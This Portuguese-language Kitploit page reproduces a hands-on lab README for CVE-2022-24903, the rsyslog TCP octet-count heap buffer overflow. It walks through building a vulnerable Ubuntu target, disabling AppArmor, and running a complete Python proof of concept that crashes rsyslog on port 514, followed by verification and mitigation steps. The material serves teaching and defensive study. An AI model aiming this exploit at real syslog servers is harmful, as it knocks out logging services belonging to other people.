Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Estouro de buffer baseado em heap | Kitploit
Ferramentas/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Análise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Estouro de buffer baseado em heap

Ver Repositório
4há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Laboratório Prático CVE-2022-24903

Autor: Andrew Beshay Mousa

Um laboratório prático demonstrando a vulnerabilidade de estouro de buffer no heap do rsyslog.

rsyslog CVE Type Protocol

Um ambiente de laboratório prático para reproduzir e entender a vulnerabilidade de Estouro de Buffer no Heap do rsyslog (CVE-2022-24903) por meio de framing com contagem de octetos na recepção de syslog via TCP.


Índice

  • Visão Geral
  • Arquitetura do Laboratório
  • Pré-requisitos
  • Detalhes da Vulnerabilidade
  • Configuração do Laboratório
    • Máquina Alvo (Ubuntu)
    • Máquina Atacante (Kali)
  • Exploração
  • Verificação
  • Solução de Problemas
Mitigação
  • Referências

  • Visão Geral

    CVE-2022-24903 é uma vulnerabilidade de estouro de buffer no heap no módulo de recepção de syslog TCP (imtcp) do rsyslog, que ocorre ao usar framing com contagem de octetos (RFC 5425).

    Um atacante pode enviar uma mensagem syslog TCP especialmente criada com um prefixo de contagem de octetos excessivamente longo, fazendo com que o rsyslog escreva além dos limites de um buffer alocado no heap, resultando em negação de serviço (DoS) ou possível corrupção de memória.

    AtributoValor
    ID CVECVE-2022-24903
    Afetadosrsyslog < 8.2204.1
    VetorRede
    Porta514/TCP
    Móduloimtcp (Entrada TCP)
    ImpactoDoS / Corrupção de Heap
    RCE Provável?Não (avaliação do fornecedor)

    Arquitetura do Laboratório

    root@kitploit:~
    +----------------------------------------------------------+
    |                  Network: Host-Only                       |
    |                Subnet: 192.168.56.0/24                   |
    +--------------------------+-------------------------------+
    |                          |                               |
    |   +---------------+      |      +--------------------+   |
    |   |  [Attacker]   |      |      |     [Target]       |   |
    |   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
    |   |               | TCP  |      |  rsyslog 8.2001.0  |   |
    |   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
    |   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
    |   |  CPU: 1       |      |      |  CPU: 1            |   |
    |   +---------------+      |      +--------------------+   |
    |                          |                               |
    +----------------------------------------------------------+
    

    VMs Necessárias

    VMSOFunçãoIPRAMCPU
    AlvoUbuntu 22.04Servidor rsyslog vulnerável192.168.56.201 GB1
    AtacanteKali LinuxRemetente do exploit192.168.56.102 GB1

    Nota: Você pode usar qualquer versão do Ubuntu (20.04, 22.04, 24.04) como Alvo. O essencial é instalar manualmente o pacote .deb do rsyslog 8.2001.0 vulnerável.


    Pré-requisitos

    • VirtualBox ou VMware Workstation
    • ISO do Ubuntu 22.04 (~2 GB)
    • VM do Kali Linux (~4 GB)
    • Rede Host-Only configurada no seu hipervisor
    • Conhecimento básico de comandos Linux e Python

    Detalhes da Vulnerabilidade

    O que é Framing com Contagem de Octetos?

    No syslog via TCP (RFC 5425), as mensagens são prefixadas com seu comprimento em bytes:

    root@kitploit:~
    123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
    └─┘
     octet count (3 digits = 123 bytes follow)
    

    O Bug

    Em versões vulneráveis do rsyslog, o analisador de contagem de octetos:

    1. Acumula dígitos em um buffer de heap de tamanho fixo
    2. Não verifica os limites do buffer ao escrever dígitos
    3. Continua escrevendo dígitos mesmo depois que a contagem de octetos excede o valor máximo permitido
    root@kitploit:~
    // Simplified vulnerable logic:
    char buffer[20];          // Small heap buffer
    int i = 0;
    while (isdigit(ch)) {     // Read digits
        buffer[i++] = ch;     // Write to buffer
        // MISSING: if (i >= 20) break;
        ch = next_char();
    }
    

    Resultado: Enviar 9999... (mais de 5000 dígitos) faz o buffer do heap estourar, corrompendo a memória adjacente.

    Por que RCE é Difícil

    • O estouro é limitado apenas a caracteres numéricos (0-9)
    • O analisador para no primeiro caractere não numérico
    • Não é possível injetar shellcode diretamente
    • DoS é garantido; RCE é considerado improvável pelo fornecedor

    Configuração do Laboratório

    Passo 1: Configurar a Rede Host-Only

    No seu hipervisor, crie uma rede Host-Only:

    • Sub-rede: 192.168.56.0/24
    • DHCP: Desativado (IPs estáticos)

    Conecte ambas as VMs a essa rede.


    Passo 2: Máquina Alvo (Ubuntu)

    2.1 Definir IP Estático

    root@kitploit:~
    sudo nano /etc/netplan/00-installer-config.yaml
    

    Cole:

    root@kitploit:~
    network:
      version: 2
      ethernets:
        enp0s3:
          dhcp4: no
          addresses:
            - 192.168.56.20/24
    

    Aplicar:

    root@kitploit:~
    sudo netplan apply
    

    Verificar:

    root@kitploit:~
    ip addr show | grep 192.168.56.20
    

    2.2 Parar e Remover o rsyslog Moderno

    root@kitploit:~
    sudo systemctl stop rsyslog.service syslog.socket
    sudo systemctl disable rsyslog.service syslog.socket
    sudo systemctl mask rsyslog.service syslog.socket
    sudo apt-get remove --purge -y rsyslog
    sudo apt-get autoremove -y
    

    2.3 Baixar e Instalar o rsyslog Vulnerável

    root@kitploit:~
    cd /tmp
    wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo apt-get install -f -y
    sudo apt-mark hold rsyslog
    

    Se você obtiver um erro de bloqueio do dpkg:

    root@kitploit:~
    sudo kill -9 <PID>
    sudo rm -f /var/lib/dpkg/lock-frontend
    sudo dpkg --configure -a
    

    Verifique a versão:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Saída esperada:

    root@kitploit:~
    rsyslogd  8.2001.0
    

    2.4 Desativar o AppArmor (Somente no Laboratório)

    O AppArmor pode impedir que o rsyslog funcione corretamente com o pacote antigo:

    root@kitploit:~
    sudo systemctl stop apparmor
    sudo systemctl disable apparmor
    

    2.5 Configurar o rsyslog para TCP 514

    root@kitploit:~
    sudo nano /etc/rsyslog.conf
    

    Limpe o arquivo e cole:

    root@kitploit:~
    module(load="imtcp")
    input(type="imtcp" port="514")
    *.* /var/log/all-messages.log
    

    2.6 Abrir Porta no Firewall

    root@kitploit:~
    sudo ufw allow 514/tcp
    sudo ufw --force enable
    

    2.7 Iniciar o rsyslog

    root@kitploit:~
    sudo systemctl unmask rsyslog.service syslog.socket
    sudo systemctl restart rsyslog
    sudo systemctl status rsyslog --no-pager
    

    Verifique se está em escuta:

    root@kitploit:~
    sudo ss -tlnp | grep 514
    

    Esperado:

    root@kitploit:~
    LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))
    

    Passo 3: Máquina Atacante (Kali)

    3.1 Definir IP Estático

    root@kitploit:~
    sudo nano /etc/network/interfaces
    

    Cole:

    root@kitploit:~
    auto eth0
    iface eth0 inet static
        address 192.168.56.10
        netmask 255.255.255.0
    

    Ou, se estiver usando Netplan:

    root@kitploit:~
    sudo nano /etc/netplan/01-netcfg.yaml
    
    root@kitploit:~
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: no
          addresses:
            - 192.168.56.10/24
    
    root@kitploit:~
    sudo netplan apply
    

    3.2 Criar Script de Exploit

    root@kitploit:~
    cd ~/Desktop
    nano exploit.py
    

    Cole:

    root@kitploit:~
    #!/usr/bin/env python3
    """
    CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
    Target: rsyslog 8.2001.0 on TCP port 514
    Author: Andrew Beshay Mousa
    """
    
    import socket
    import sys
    
    TARGET = "192.168.56.20"  # Change to your Target IP
    PORT = 514
    
    def exploit():
        """
        Send a crafted TCP syslog message with an excessively long octet-count prefix.
        The octet-count parser writes digits to a heap buffer without bounds checking,
        causing a heap buffer overflow.
        """
        # Create a massive octet count string (5000+ digits)
        # This overflows the heap buffer allocated for parsing the count
        overflow_digits = b"9" * 5000
    
        # The rest of the message (parser will crash before processing this)
        syslog_msg = b" <1>test crash message\n"
    
        payload = overflow_digits + syslog_msg
    
        print(f"[*] Target: {TARGET}:{PORT}")
        print(f"[*] Payload size: {len(payload)} bytes")
        print(f"[*] Octet count digits: {len(overflow_digits)}")
    
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((TARGET, PORT))
    
            print(f"[*] Connected. Sending payload...")
            sock.sendall(payload)
    
            # Try to receive (likely won't get anything back after crash)
            try:
                response = sock.recv(1024)
                print(f"[+] Received: {response}")
            except socket.timeout:
                print("[!] No response - target may have crashed!")
    
            sock.close()
            print("[*] Exploit completed.")
    
        except ConnectionRefusedError:
            print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
            sys.exit(1)
        except BrokenPipeError:
            print("[!] Connection broken - target likely crashed mid-transmission!")
    
    if __name__ == "__main__":
        print("=" * 50)
        print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
        print("=" * 50)
        exploit()
    

    Torne executável:

    root@kitploit:~
    chmod +x exploit.py
    

    Exploração

    Verificação Pré-Voo

    A partir do Atacante, verifique a conectividade:

    root@kitploit:~
    nc -zv 192.168.56.20 514
    

    Esperado:

    root@kitploit:~
    (UNKNOWN) [192.168.56.20] 514 (shell) open
    

    Executar o Exploit

    root@kitploit:~
    python3 ~/Desktop/exploit.py
    

    Saída esperada:

    root@kitploit:~
    ==================================================
    CVE-2022-24903 rsyslog Heap Buffer Overflow
    ==================================================
    [*] Target: 192.168.56.20:514
    [*] Payload size: 5027 bytes
    [*] Octet count digits: 5000
    [*] Connected. Sending payload...
    [!] No response - target may have crashed!
    [*] Exploit completed.
    

    Verificação

    Na máquina Alvo, verifique a falha:

    Método 1: Verificar se o rsyslog ainda está em execução

    root@kitploit:~
    ps aux | grep rsyslog
    

    Se não houver saída -> o rsyslog travou

    Método 2: Verificar os logs do kernel

    root@kitploit:~
    sudo dmesg | tail -10
    

    Saída esperada:

    root@kitploit:~
    audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
    

    Ou:

    root@kitploit:~
    rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
    

    Método 3: Verificar o journal do systemd

    root@kitploit:~
    sudo journalctl -u rsyslog --no-pager | tail -10
    

    Método 4: Reiniciar e Testar Novamente

    Para confirmar a reprodutibilidade:

    root@kitploit:~
    sudo systemctl restart rsyslog
    sudo ss -tlnp | grep 514
    

    Em seguida, execute novamente o exploit a partir do Kali. A falha deve ocorrer novamente.


    Solução de Problemas

    ProblemaSolução
    Connection refusedo rsyslog não está em execução ou não está em escuta na porta TCP 514. Verifique sudo systemctl status rsyslog e `sudo ss -tlnp
    Unit rsyslog.service is maskedExecute sudo systemctl unmask rsyslog.service syslog.socket
    dpkg frontend lockExecute sudo kill -9 <PID> e depois sudo rm -f /var/lib/dpkg/lock-frontend
    AppArmor DENIED no dmesgExecute sudo systemctl stop apparmor && sudo systemctl disable apparmor
    Versão do rsyslog é 8.2112+Você instalou a versão corrigida. Baixe e instale rsyslog_8.2001.0-1ubuntu1_amd64.deb manualmente
    Nenhum crash após o exploitAumente o tamanho do payload para b"9" * 20000

    Mitigação

    1. Atualizar o rsyslog

    root@kitploit:~
    sudo apt-mark unhold rsyslog
    sudo apt-get update
    sudo apt-get install rsyslog
    

    Verifique a versão corrigida:

    root@kitploit:~
    rsyslogd -v | head -2
    

    Deve ser 8.2204.1 ou superior.

    2. Desativar o syslog TCP se não for necessário

    Comente em /etc/rsyslog.conf:

    root@kitploit:~
    # module(load="imtcp")
    # input(type="imtcp" port="514")
    

    3. Usar TLS/SSL (RFC 5425)

    Se o syslog TCP for necessário, use transporte criptografado:

    root@kitploit:~
    module(load="imgtls")
    input(type="imgtls" port="6514")
    

    4. Restrições de Firewall

    Restrinja a porta TCP 514 apenas a hosts confiáveis:

    root@kitploit:~
    sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
    

    Referências

    • NVD - CVE-2022-24903
    • Advisory de Segurança do rsyslog
    • Aviso de Segurança da Ubuntu USN-5404-1
    • RFC 5424 - Protocolo Syslog
    • RFC 5425 - Transporte TLS

    Isenção de Responsabilidade

    Este laboratório é apenas para fins educacionais e de pesquisa. Não use este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. O autor não assume nenhuma responsabilidade pelo uso indevido destas informações.


    Licença

    Este projeto está licenciado sob a Licença MIT.


    Feito com café e curiosidade por Andrew Beshay Mousa.

    Baixar ferramenta